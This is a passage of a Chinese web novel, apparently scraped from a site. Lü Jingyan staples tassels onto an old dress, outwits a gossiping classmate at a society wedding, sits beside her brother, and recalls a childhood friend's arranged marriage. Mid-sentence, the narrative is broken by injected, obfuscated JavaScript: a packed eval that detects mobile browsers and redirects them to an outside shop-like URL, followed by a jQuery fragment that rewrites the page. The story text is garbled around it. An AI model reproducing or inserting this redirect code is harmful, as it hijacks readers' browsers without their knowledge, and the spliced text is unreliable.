她拍拍他的肩,“放心,我会帮你守口如瓶。不过劝你以后还是收着点儿性子,人外有人,今天冒出个我,改天不定又冒出个谁,得多加小心啊。” 韩君翊点头如捣蒜。 吕静言笑笑,“行了,大家都很忙,我就不多待了,先走一步。”她作势要走,想到什么,又退回来,与朋友分享秘密一般低声道:“我在这儿工作,是到一线锻炼,不想太引人注目,所以也请你不要到处乱讲,嗯?” 韩君翊应道:“明白。” 吕静言谈妥一笔生意似的和他握了握手,走出房间。 韩君翊刚要松一口气,她却再次踏进屋来,冲错愕的他再次展露笑容,指指桌上的马克杯,“我杯子忘拿了。” 韩君翊赶紧拿过来递给她,她接到手里,含笑道谢,彻底转身离开。 10. 舞会穷人(3) ~*~ 洗了手回到办公室,一看时间,她珍贵的两小时假期已经被耽误了十分钟,没搭理曼迪“怎么才回来?”“你真是去接水了吗?”“刚才到底干嘛去了?”等一系列追问,撂下一句“回头再说”,赶紧关电脑穿衣服拎包离开。 首先去美院学生那儿往身上绘制装饰图案,然后简单弄了下妆发,最后去裁缝店取改好了的礼裙。 到了店门外时天色已黑,从窗户望进去,里面漆黑一片,好像没有人在。 吕静言的心沉了一沉,上去快而急促地敲门,果然无人应答。要联系老师傅,又想起他们根本没有加联系方式。正心急如焚,后边有人走过来,一个中年男子的声音问她:“你来取东西?” 吕静言忙转头答道:“是啊。” 那中年男人神色惫懒,慢吞吞地从口袋里摸出钥匙去开门,嘟嘟囔囔道:“还真有人来。” 他推门进屋,吕静言跟着他进去,问:“陈师傅不在?” 中年男子把灯打开,说:“前两天摔啦,医院躺着呢。” “什么?”吕静言赶紧问:“严重吗。” 男子长叹一声:“这个年纪的老人,摔一跤,好得了么。骨折,加脑梗。” 我的天,这可太不妙了。吕静言陡生同情,想要安慰两句,男子指指裁剪台上的一堆布料,说:“你的东西应该在那儿,自己去找吧。” 她暂放话头,匆忙去翻找。 男子百无聊赖地在店里转来转去,嘴里絮絮地念:“这么大岁数了,还干这些做什么,真是,又不缺他这两个钱。” 吕静言手上翻找着,问:“他住哪家医院?我改天去探望他。” 中年男子答出一个院名,又有些惊奇地问:“你和我们家老爷子很熟?” “嗯,”吕静言想想,说:“算是吧。” 说话间,一抹熟悉的淡蓝掠过眼角,吕静言拽出来,正是她那条裙子,一同带出来的,还有一条流苏。 流苏与礼裙同色,雾霾蓝,其中夹杂着极细的银线,在灯光之下细闪粼粼。 看工艺该是手工制作,如此精致考究,不知花费了多少时间。可问题是,这精美的流苏还没来得及被缝到裙边上面,现在与裙子完全是两个独立的存在。 她瞄一眼缝纫机,又去看那男人,问:“你会缝吗。” 男人眼皮一翻:“我可不会。” 这该怎么办?他不会,她更不会。她在国外苦没少吃,唯独这针线活,是一点儿也没碰过。 再看眼手机上的时间,距离婚礼开始只剩四十分钟,酒店离这儿有些距离,眼看就要赶不及。她急得直冒汗,环顾周围,见旁边桌上有个订书机,忽生一计,拿过来“咔咔”几下,将流苏钉在裙边上。 中年男子看得目瞪口呆,磕磕绊绊道:“这,这这,这能行么。” 吕静言提起礼裙来看,还蛮好,订书针隐藏在流苏的银色微光中,不细打量根本看不出来。 她没时间再耽误,带了东西火速回到车上,一路狂飙开往婚宴酒店。 她车技卓绝,到达酒店门口,距婚宴开始居然还有一段空余。她拿好礼裙和鞋子下来,把钥匙交给迎过来的门童去泊车,自己赶去更衣室换衣服。 一进门却和吕希声碰个正着。他西装笔挺,身上行头已经是参加宴会的规格,身后却还跟着一个手提衣物箱子的侍者,不知道里面装的什么。 吕希声似乎想和她说话,她这会儿没空与他打嘴仗,视若无睹地从边上走过,跟随另一位女侍者去往更衣室。 女宾更衣室与宴会厅同在一层。与其说是更衣室,不如说是休息厅,很宽敞的一个空间,里面有桌有椅,角落里另辟出几间带门的小屋子换衣服用。 吕静言进去的时候,里面已有不少女宾或站或坐地聊天,大部分都是从前的熟人,见她露面,这些人齐刷刷地望过来,扯开笑容,挤出热情,亲密地和她打招呼: “哎呀,静言来啦。” “静言,真是好久不见。” “什么时候回来的呀,静言,怎么都不找我们玩。” “静言你还是那么漂亮。” 态度之友善,语气之亲切,就好像当年幸灾乐祸、落井下石的不是她们一样。 吕静言也笑,一个一个地打招呼回应过去,“嗯,真是好久不见。” “前段时间回来的,一个月吧。” “最近比较忙,确实太忙了。” “哈哈,好,下次,下次。” “......” 她同她们说说笑笑,外面敲门声响起,女侍者进入,将拿去简单熨烫的礼裙交还给她,然后与她一同进入小隔间内帮忙换衣。 右侧单肩装饰领的裙子,长度本到膝盖,加装流苏后垂坠到小腿。她左边肩膀与右脚踝上方用银色颜料绘制出交织缠绕的藤蔓纹路,线条优美舒展,虽不似珠宝璀璨夺目,但与礼裙颜色及流苏的细闪相呼应,另有一番和谐雅致。 她换上同为银色的高跟鞋,走出小隔间。 立刻有人开口奉承:“呀,静言的品味就是好,这一身真别致。” 几声附和零零散散地响起。 吕静言礼貌应谢。人群中她曾经的同学,泰坤集团的谷小姐凑上来仔细辨认这条裙子,暧昧地笑道:“不知道是不是我记错了,这裙子怎么有点眼熟?是好多年前穿过的吗。” 其他女孩子们纷纷望向吕静言,竭力收敛的表情下饱含吃瓜看热闹的隐秘兴奋。 吕静言看向那位谷小姐,暗自冷笑:啧,读书时成绩那么烂,这些没用的倒是记得牢,原来脑子都用在这里了。 不过,问得好,怕你不问。 她笑意盎然,正欲张口,又有一位女侍者敲门进来,朝众位女宾们询问:“请问哪位是吕静言吕小姐?” 吕静言咽下嘴边的话,抬手应道:“我是。”又问:“有什么事吗。” 女侍者去到门外,推着一扇滚轮衣架走进来,对她道:“有位先生让把这个交给您。” 衣架上挂着一条烟色绉纱礼裙,下摆宽大轻盈,缥缈得像一团旧梦。 她知道吕希声那个衣物箱子里装的是什么了。 怕她给吕家丢脸么?呵,真是多余。 她很困惑似的对那侍者摇摇头,“给我的?弄错了吧。这不是我的东西。” 侍者比她还困惑:“可是——” 吕静言拦下她的话头,“肯定哪里出了差错,拿回去吧,再好好和那位先生问问。” 那侍者满脸不解,略作踌躇,一步三回头地推着衣架离开。 这小插曲使得四周八卦的眼神愈加强烈,吕静言大方环顾她们,玩笑似的轻快道:“衣服倒好看,可惜不是我的,也不知道是谁出了岔子,先不管他了。” 她摸了摸自己身上的裙子,又重新看向谷小姐,笑道:“是,这条是我十五岁生日会上穿的裙子,真想不到你还记得。” 她表情十二万分地诚挚,“你也知道,我家经历过那么一遭,虽然现在都过去了,但我心态上也有一些变化。觉得以前的一些奢侈和浪费很没有必要。”她理理裙摆,“就像这裙子,还好好的,我也很喜欢,干嘛就不再穿了呢。多可惜啊。”她一摆手,“唉,要我说,现在经济又不景气,就算有些家底,适当节俭一点总也不是坏事。你觉得呢?”她征询般看向谷小姐——和周围其他女宾。 谷小姐没想到她会来这么一段话,微愣片刻,不阴不阳地撇嘴笑笑,“呦,静言,你现在了不得啊,说起话来跟个女企业家似的。” 吕静言立刻乐呵呵地接道:“真的吗,那借你吉言了。我是很想当企业家来着。” 而且,托你的福,立了个朴素务实的人设,从此可以光明正大地穷,这对我现在的状况真是再好不过。她思及此,笑得愈发灿烂。 谷小姐气噎,一时无言以对。 人群中有谁看了眼时间,提醒道:“哎呀,快走吧,婚礼马上就开始了。” 众人听闻,三两一群地从更衣室鱼贯而出。 吕静言理所应当地被安排与吕希声和其他几个老同学坐一桌。吕希声已在席位,瞧见她过来,拍拍身侧位置,神色自然道:“来,静言,坐。” 亲昵而熟稔,好似他们是关系无比融洽的一对兄妹。 吕静言故意停顿了一瞬,像在考虑是否要配合,吕希声不动声色地抬眼望她,她这才嫣然而笑,落座于他身旁,“哥。” 吕希声应下这一声,拿过她面前的杯子,未假手于往来穿梭的侍者,亲自给她倒了杯饮料。 坐在他另一侧的郭之闵(吕希声最好的朋友)见了,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288492|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻嘴欠地打趣:“看看,真是亲哥,这贴心的呦。” 吕希声闻言,给他也倒了一杯,笑容森然地塞进他手里。 郭闵之做出很害怕的样子,捂住自己的嘴巴。 桌上的人都被他的举动逗乐了,一位曾与他们三人同班的夏小姐笑道:“他们兄妹从小感情就好。” 另一位与他们也很熟悉的陆小姐接话道:“可不是么,好得跟一个人似的。”她朝着吕静言问:“是不是双胞胎会比普通兄弟姐妹更亲一些?” 吕静言喝了口饮料,笑道:“我没有普通兄弟姐妹。我不知道。” 她边说,边用噙满复杂笑意的眼睛去看吕希声。 吕希声回望她,说:“我也不知道。” 陆小姐歪歪脑袋,下定结论道:“唔,我觉得是的。” 此时乐曲响起,新娘入场,桌上几人不再交谈,闭起嘴巴安静观礼。 新娘在宾客注目下走向她的新郎。魏小姐是个称得上漂亮的年轻姑娘,而那男人外貌相当一般,还有点谢顶,说起话来磕磕绊绊,即便吕静言与魏明薇关系称不上多好,也觉得可惜了她。 她知道她为什么要嫁,新郎来自一个高官家庭,没法言说的高,魏家现在不比当年,为了家里生意容易做些,她得嫁。 在世人眼中,也许还是高嫁。 她想起来赵姐姐。 那是她小时候最喜欢的一个姐姐。比她和吕希声大个十几岁,温柔,美丽,永远和颜悦色,从不对他们这些小鬼表现出不耐烦。 赵家有几年很风光,和吕家颇有来往,她和吕希声经常能见到赵姐姐。但是她十岁的时候,这位姐姐却忽然消失在他们的生活中。 她很疑惑,很想问,可大人们却总是避而不谈,或摇头叹气,要她小孩子不要乱打听。她未得到真正的解答,但从他们的只言片语,神情动作中,她能够猜到,赵家“出事”了。 再见面是在十二岁时的一场宴会上。她已经忘了是一场以什么为由头的宴会,总之这种场合经常有。而这次,她见到已经阔别这个圈子许久的赵姐姐。 她瘦了些,苍白了些,不过倒有种脆弱的美丽。她想像从前一样往她身边凑,可她那一双翦水秋瞳好像已经看不见她,她眺望、四顾、发呆,而后一名矮小肥胖的男子在她母亲的引荐下来到她面前,赵伯母满脸堆笑,叫她的女儿和这个男子“多相处相处”。赵姐姐瞪着空茫的眼睛点了点头,与男子去到宴会厅的另一边,从她的视线里消失了。 那之后没多久,他们家收到赵家的婚礼请柬。赵姐姐将要结婚。 新郎正是宴会上的那名男子。她至今记得他的模样。矮胖、三角眼、眼下两个黑眼圈快要耷落至颧骨,牙齿黄黄,肤色也呈现出一种暗沉的灰褐。而且,时不时地,他的身体还会不明原因地,神经质地抽搐一下。 清丽出尘的赵姐姐站在他旁边,那幅画面,是“美女与野兽”也不足以形容的荒谬。 他们接吻的那个环节,她没等宋斓来捂她的眼,主动转过脸去,没有看。 婚宴结束后回家的路上,她与吕希声并排坐在车子后座,颇为不解地、不忿地向他抱怨赵姐姐为什么要嫁给这样一个人。 坐在她另一侧的宋斓听见,冷笑一声,道:“如今十个赵家的家底也抵不上人家手指缝里漏出的一点,你说你赵姐姐为什么嫁。”她有点感慨似的叹了一声:“漂亮女儿果然是资本,这下他们家又能有好日子了。” 那一瞬间,十二岁的她被拉扯着走出关于爱情与婚姻的幻梦。 她忽然明白,倘若有一天吕家也遭遇赵家那样的不幸,那么她就会落得和赵姐姐相同的境地。 她的母亲也会在某个场合领着那样一个难以言喻的男人到她面前,叫她“多相处相处”,接着,便把她嫁给他。 不,不对,她还不如赵姐姐——她那时候刚推测出自己可能不是亲生的这一错误结论,正惶惶不可终日——赵姐姐身为亲生女儿尚且如此,何况她这个养女。也不必家里出事,只要吕家需要,她就会被牺牲掉。 这太可怕了,太可怕了。可怕到她连想也不愿多想,它成为她最深重的恐惧。 然后,十八岁,那一天真的到来了。 吕静言喝一口水,拉回神游天外的思绪,把注意力集中到眼前这场婚礼上。